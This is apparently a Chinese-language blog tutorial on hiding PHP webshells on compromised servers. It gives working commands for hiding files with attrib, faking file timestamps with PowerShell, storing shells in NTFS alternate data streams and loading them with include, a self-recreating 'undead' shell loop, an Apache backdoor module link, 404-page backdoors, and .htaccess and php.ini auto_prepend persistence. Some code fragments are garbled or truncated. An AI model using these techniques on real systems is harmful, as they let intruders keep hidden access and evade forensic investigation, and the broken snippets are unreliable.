PHP后門(mén)隱藏技巧
如果想讓自己的Webshell留的更久一些,除了Webshell要免殺,還需要注意一些隱藏技巧,比如隱藏文件,修改時(shí)間屬性,隱藏文件內(nèi)容等。
1、隱藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夾增加了系統(tǒng)文件屬性、存檔文件屬性、只讀文件屬性和隱藏文件屬性。
attrib +s +a +h +r shell.php //隱藏shell.php文件
2、修改文件時(shí)間屬性
當(dāng)你試圖在一堆文件中隱藏自己新創(chuàng)建的文件,那么,除了創(chuàng)建一個(gè)迷惑性的文件名,還需要修改文件的修改日期。
//修改時(shí)間修改Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"//訪問(wèn)時(shí)間修改Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"//創(chuàng)建時(shí)間修改Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
使用命令獲取文件屬性
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
修改某個(gè)文件夾下所有文件的創(chuàng)建和修改時(shí)間
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、利用ADS隱藏文件內(nèi)容
在服務(wù)器上echo一個(gè)數(shù)據(jù)流文件進(jìn)去,比如index.php是網(wǎng)頁(yè)正常文件,我們可以這樣子搞:
echo ^ > index.php:hidden.jpg
這樣子就生成了一個(gè)不可見(jiàn)的shell hidden.jpg,常規(guī)的文件管理器、type命令,dir命令、del命令發(fā)現(xiàn)都找不出那個(gè)hidden.jpg的。
利用include函數(shù),將index.php:hidden.jpg進(jìn)行hex編碼,把這個(gè)ADS文件include進(jìn)去,這樣子就可以正常解析我們的一句話了。
4、不死馬
不死馬會(huì)刪除自身,以進(jìn)程的形式循環(huán)創(chuàng)建隱蔽的后門(mén)。
'); //創(chuàng)建shell.php,這里最好用免殺的一句話 sleep(10); //間隔時(shí)間}?>
處理方式最簡(jiǎn)單有效的辦法,就是重啟服務(wù)就可以刪除webshell文件。
5、中間件后門(mén)
將編譯好的so文件復(fù)制到modules文件夾,啟動(dòng)后門(mén)模塊,重啟Apache。當(dāng)發(fā)送特定參數(shù)的字符串過(guò)去時(shí),即可觸發(fā)后門(mén)。
github項(xiàng)目地址:
https://github.com/VladRico/apache2_BackdoorMod
6、利用404頁(yè)面隱藏后門(mén)
404頁(yè)面主要用來(lái)提升用戶體驗(yàn),可用來(lái)隱藏后門(mén)文件。
The requested URL was not found on this server.
7、利用 .htaccess 文件構(gòu)成PHP后門(mén)
一般.htaccess可以用來(lái)留后門(mén)和針對(duì)黑名單繞過(guò),在上傳目錄創(chuàng)建.htaccess 文件寫(xiě)入,無(wú)需重啟即可生效,上傳png文件解析。
AddType application/x-httpd-php .png
另外,在.htaccess 加入php解析規(guī)則,把文件名包含1的解析成php,上傳1.txt即可解析。
8、利用 php.ini 隱藏后門(mén)文件
php.ini 中可以指定在主文件執(zhí)行前后自動(dòng)解析的文件名稱,常用于頁(yè)面公共頭部和尾部,也可以用來(lái)隱藏php后門(mén)。
;在PHP文檔之前自動(dòng)添加文件。auto_prepend_file = "c:\tmp.txt";在PHP文檔之后自動(dòng)添加文件。auto_prepend_file = "c:\tmp.txt"
需重啟服務(wù)生效,訪問(wèn)任意一個(gè)php文件即可獲取webshell。